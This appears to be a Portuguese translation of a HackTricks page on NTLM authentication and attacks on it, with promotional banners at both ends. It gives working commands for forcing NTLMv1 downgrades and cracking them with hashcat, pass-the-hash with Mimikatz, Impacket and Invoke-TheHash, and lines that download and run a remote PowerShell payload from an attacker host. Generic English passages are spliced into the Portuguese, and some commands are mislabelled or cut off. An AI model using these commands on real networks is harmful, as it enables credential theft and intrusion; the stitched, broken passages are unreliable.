# NTLM
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Informações Básicas Em ambientes onde **Windows XP e Server 2003** estão em operação, são utilizados hashes LM (Lan Manager), embora seja amplamente reconhecido que esses hashes podem ser facilmente comprometidos. Um hash LM específico, `AAD3B435B51404EEAAD3B435B51404EE`, indica um cenário em que o LM não é utilizado, representando o hash para uma string vazia. Por padrão, o protocolo de autenticação **Kerberos** é o método principal utilizado. O NTLM (NT LAN Manager) entra em ação sob circunstâncias específicas: ausência de Active Directory, inexistência do domínio, mau funcionamento do Kerberos devido a configuração inadequada, ou quando as conexões são tentadas usando um endereço IP em vez de um nome de host válido. A presença do cabeçalho **"NTLMSSP"** em pacotes de rede sinaliza um processo de autenticação NTLM. O suporte aos protocolos de autenticação - LM, NTLMv1 e NTLMv2 - é facilitado por uma DLL específica localizada em `%windir%\Windows\System32\msv1\_0.dll`. **Pontos Chave**: * Os hashes LM são vulneráveis e um hash LM vazio (`AAD3B435B51404EEAAD3B435B51404EE`) significa que não está sendo utilizado. * Kerberos é o método de autenticação padrão, com o NTLM sendo usado apenas sob certas condições. * Os pacotes de autenticação NTLM são identificáveis pelo cabeçalho "NTLMSSP". * Os protocolos LM, NTLMv1 e NTLMv2 são suportados pelo arquivo de sistema `msv1\_0.dll`. ## LM, NTLMv1 e NTLMv2 Você pode verificar e configurar qual protocolo será usado: ### GUI Execute _secpol.msc_ -> Políticas locais -> Opções de segurança -> Segurança de rede: Nível de autenticação do LAN Manager. Existem 6 níveis (de 0 a 5). ![](<../../.gitbook/assets/image (919).png>) ### Registro Isso definirá o nível 5: ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f ``` Valores possíveis: ``` 0 - Send LM & NTLM responses 1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated 2 - Send NTLM response only 3 - Send NTLMv2 response only 4 - Send NTLMv2 response only, refuse LM 5 - Send NTLMv2 response only, refuse LM & NTLM ``` ## Esquema básico de autenticação de domínio NTLM 1. O **usuário** introduz suas **credenciais** 2. A máquina cliente **envia uma solicitação de autenticação** enviando o **nome do domínio** e o **nome de usuário** 3. O **servidor** envia o **desafio** 4. O **cliente criptografa** o **desafio** usando o hash da senha como chave e o envia como resposta 5. O **servidor envia** para o **controlador de domínio** o **nome do domínio, o nome de usuário, o desafio e a resposta**. Se **não houver** um Active Directory configurado ou o nome do domínio for o nome do servidor, as credenciais são **verificadas localmente**. 6. O **controlador de domínio verifica se tudo está correto** e envia as informações para o servidor O **servidor** e o **Controlador de Domínio** são capazes de criar um **Canal Seguro** via servidor **Netlogon** pois o Controlador de Domínio conhece a senha do servidor (ela está dentro do banco de dados **NTDS.DIT**). ### Esquema de autenticação NTLM local A autenticação é como a mencionada **anteriormente, mas** o **servidor** conhece o **hash do usuário** que tenta se autenticar dentro do arquivo **SAM**. Portanto, em vez de perguntar ao Controlador de Domínio, o **servidor irá verificar por si só** se o usuário pode se autenticar. ### Desafio NTLMv1 O **comprimento do desafio é de 8 bytes** e a **resposta tem 24 bytes** de comprimento. O **hash NT (16 bytes)** é dividido em **3 partes de 7 bytes cada** (7B + 7B + (2B+0x00\*5)): a **última parte é preenchida com zeros**. Em seguida, o **desafio** é **cifrado separadamente** com cada parte e os bytes cifrados resultantes são **unidos**. Total: 8B + 8B + 8B = 24 bytes. **Problemas**: * Falta de **aleatoriedade** * As 3 partes podem ser **atacadas separadamente** para encontrar o hash NT * **DES é passível de quebra** * A 3ª chave é composta sempre por **5 zeros**. * Dado o **mesmo desafio**, a **resposta** será a **mesma**. Portanto, você pode dar como **desafio** para a vítima a string "**1122334455667788**" e atacar a resposta usando **tabelas arco-íris pré-computadas**. ### Ataque NTLMv1 Atualmente está se tornando menos comum encontrar ambientes com Delegação Irrestrita configurada, mas isso não significa que você não possa **abusar de um serviço de Spooler de Impressão** configurado. Você poderia abusar de algumas credenciais/sessões que você já tem no AD para **solicitar que a impressora se autentique** contra algum **host sob seu controle**. Em seguida, usando `metasploit auxiliary/server/capture/smb` ou `responder`, você pode **definir o desafio de autenticação como 1122334455667788**, capturar a tentativa de autenticação e, se ela foi feita usando **NTLMv1**, você será capaz de **quebrá-la**.\ Se estiver usando `responder`, você poderia tentar \*\*usar a flag `--lm` \*\* para tentar **rebaixar** a **autenticação**.\ _Obs.: para essa técnica, a autenticação deve ser feita usando NTLMv1 (NTLMv2 não é válido)._ Lembre-se de que a impressora usará a conta de computador durante a autenticação, e as contas de computador usam **senhas longas e aleatórias** que você **provavelmente não conseguirá quebrar** usando **dicionários comuns**. Mas a autenticação **NTLMv1** **usa DES** ([mais informações aqui](./#ntlmv1-challenge)), então usando alguns serviços especialmente dedicados a quebrar DES você será capaz de quebrá-la (você poderia usar [https://crack.sh/](https://crack.sh) ou [https://ntlmv1.com/](https://ntlmv1.com), por exemplo). ### Ataque NTLMv1 com hashcat O NTLMv1 também pode ser quebrado com a Ferramenta Multi NTLMv1 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) que formata mensagens NTLMv1 de uma maneira que pode ser quebrada com o hashcat. O comando ```bash python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` ## NTLM Hashes ### Overview NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. NTLM hashes are commonly used in Windows environments for authentication purposes. ### Cracking NTLM Hashes Cracking NTLM hashes involves using tools like `hashcat` or `John the Ripper` to perform brute-force or dictionary attacks to recover the original password from the hash. ### Protecting Against NTLM Hash Cracking To protect against NTLM hash cracking, it is recommended to use strong, complex passwords that are not easily guessable. Additionally, implementing multi-factor authentication (MFA) can add an extra layer of security to prevent unauthorized access. ```bash ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] Hostname: DUSTIN-5AA37877 Username: hashcat Challenge: 1122334455667788 LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595 CT1: 727B4E35F947129E CT2: A52B9CDEDAE86934 CT3: BB23EF89F50FC595 To Calculate final 4 characters of NTLM hash use: ./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 To crack with hashcat create a file with the following contents: 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788 To crack with hashcat: ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 To Crack with crack.sh use the following token NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595 ``` # NTLM Hashes ## Introduction NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. NTLM hashes are commonly targeted by attackers for password cracking purposes. ## Extracting NTLM Hashes NTLM hashes can be extracted from Windows systems using various tools and techniques such as dumping the SAM (Security Accounts Manager) database, using Mimikatz, or by sniffing network traffic. ## Protecting NTLM Hashes To protect NTLM hashes, it is recommended to use strong and unique passwords, enable SMB signing, disable NTLMv1, and enforce the use of NTLMv2. Additionally, implementing network segmentation and monitoring for suspicious activities can help in safeguarding NTLM hashes. ## Cracking NTLM Hashes Attackers can crack NTLM hashes using tools like Hashcat, John the Ripper, or online services. It is crucial for organizations to regularly audit their password policies and educate users on creating strong passwords to prevent NTLM hash cracking attacks. ```bash 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788 ``` Execute o hashcat (distribuído é melhor através de uma ferramenta como hashtopolis) pois isso levará vários dias caso contrário. ```bash ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` Neste caso, sabemos que a senha é password, então vamos trapacear para fins de demonstração: ```bash python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b DESKEY1: b55d6d04e67926 DESKEY2: bcba83e6895b9d echo b55d6d04e67926>>des.cand echo bcba83e6895b9d>>des.cand ``` Precisamos agora usar as utilidades do hashcat para converter as chaves DES quebradas em partes do hash NTLM: ```bash ./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753 b4b9b02e6f09a9 # this is part 1 ./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d bd760f388b6700 # this is part 2 ``` Finalmente a última parte: ```bash ./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 586c # this is the last part ``` # Windows Hardening: NTLM ## Overview NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. However, NTLM has several vulnerabilities that can be exploited by attackers to compromise a system. This document outlines techniques to harden Windows systems against NTLM-related attacks. ## Disable NTLM To mitigate NTLM-related risks, it is recommended to disable NTLM where possible and use more secure authentication protocols such as Kerberos. NTLM can be disabled through Group Policy settings or by editing the registry. ## Enforce NTLM Usage Restrictions If disabling NTLM is not feasible, it is important to enforce restrictions on NTLM usage. This includes configuring NTLM session security settings, restricting NTLM network authentication, and enabling NTLM auditing to monitor NTLM activity. ## Implement NTLM Relay Protections NTLM relay attacks are a common technique used by attackers to exploit NTLM authentication. To protect against NTLM relay attacks, it is crucial to implement measures such as SMB signing, Extended Protection for Authentication, and LDAP signing. ## Monitor NTLM Activity Monitoring NTLM activity is essential for detecting and responding to potential security incidents. By monitoring NTLM authentication events, administrators can identify suspicious behavior and take appropriate actions to secure the system. ## Conclusion Securing Windows systems against NTLM-related attacks is crucial for maintaining the integrity and confidentiality of user data. By following the best practices outlined in this document, organizations can enhance their security posture and protect against NTLM vulnerabilities. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` ### Desafio NTLMv2 O **comprimento do desafio é de 8 bytes** e **são enviadas 2 respostas**: Uma tem **24 bytes** de comprimento e o comprimento da **outra** é **variável**. **A primeira resposta** é criada cifrando usando **HMAC\_MD5** a **string** composta pelo **cliente e o domínio** e usando como **chave** o **hash MD4** do **hash NT**. Em seguida, o **resultado** será usado como **chave** para cifrar usando **HMAC\_MD5** o **desafio**. Para isso, **um desafio do cliente de 8 bytes será adicionado**. Total: 24 B. A **segunda resposta** é criada usando **vários valores** (um novo desafio do cliente, um **timestamp** para evitar **ataques de repetição**...) Se você tiver um **pcap que capturou um processo de autenticação bem-sucedido**, você pode seguir este guia para obter o domínio, nome de usuário, desafio e resposta e tentar quebrar a senha: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://research.801labs.org/cracking-an-ntlmv2-hash/) ## Pass-the-Hash **Depois de obter o hash da vítima**, você pode usá-lo para **se passar por ela**.\ Você precisa usar uma **ferramenta** que irá **realizar** a **autenticação NTLM usando** esse **hash**, **ou** você poderia criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM seja realizada**, esse **hash será usado**. A última opção é o que o mimikatz faz. **Por favor, lembre-se de que você também pode realizar ataques Pass-the-Hash usando contas de Computador.** ### **Mimikatz** **Precisa ser executado como administrador** ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` Isso iniciará um processo que pertencerá aos usuários que iniciaram o mimikatz, mas internamente no LSASS as credenciais salvas são as que estão dentro dos parâmetros do mimikatz. Em seguida, você pode acessar recursos de rede como se fosse esse usuário (similar ao truque `runas /netonly`, mas você não precisa saber a senha em texto simples). ### Pass-the-Hash a partir do linux Você pode obter execução de código em máquinas Windows usando Pass-the-Hash a partir do Linux.\ [**Acesse aqui para aprender como fazer isso.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) ### Ferramentas compiladas do Impacket para Windows Você pode baixar [binários do Impacket para Windows aqui](https://github.com/ropnop/impacket\_static\_binaries/releases/tag/0.9.21-dev-binaries). * **psexec\_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` * **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` * **atexec.exe** (Neste caso, você precisa especificar um comando, cmd.exe e powershell.exe não são válidos para obter um shell interativo) `C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` * Existem vários outros binários do Impacket... ### Invoke-TheHash Você pode obter os scripts do PowerShell daqui: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash) #### Invoke-SMBExec ```bash Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose ``` #### Invoke-WMIExec ```bash Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose ``` #### Invoke-SMBClient ```bash Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose ``` #### Invoke-SMBEnum #### Invocar-SMBEnum ```bash Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose ``` #### Invoke-TheHash Esta função é uma **combinação de todas as outras**. Você pode passar **vários hosts**, **excluir** alguns e **selecionar** a **opção** que deseja usar (_SMBExec, WMIExec, SMBClient, SMBEnum_). Se você selecionar **qualquer** um dos **SMBExec** e **WMIExec** mas **não** fornecer nenhum parâmetro _**Command**_, ele apenas irá **verificar** se você tem **permissões suficientes**. ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` ### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm) ### Editor de Credenciais do Windows (WCE) **Precisa ser executado como administrador** Esta ferramenta fará a mesma coisa que o mimikatz (modificar a memória do LSASS). ``` wce.exe -s ::: ``` ### Execução remota manual do Windows com nome de usuário e senha {% content-ref url="../lateral-movement/" %} [lateral-movement](../lateral-movement/) {% endcontent-ref %} ## Extraindo credenciais de um Host do Windows **Para mais informações sobre** [**como obter credenciais de um host do Windows, você deve ler esta página**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** ## NTLM Relay e Responder **Leia um guia mais detalhado sobre como realizar esses ataques aqui:** {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} [spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} ## Analisando desafios NTLM de uma captura de rede **Você pode usar** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).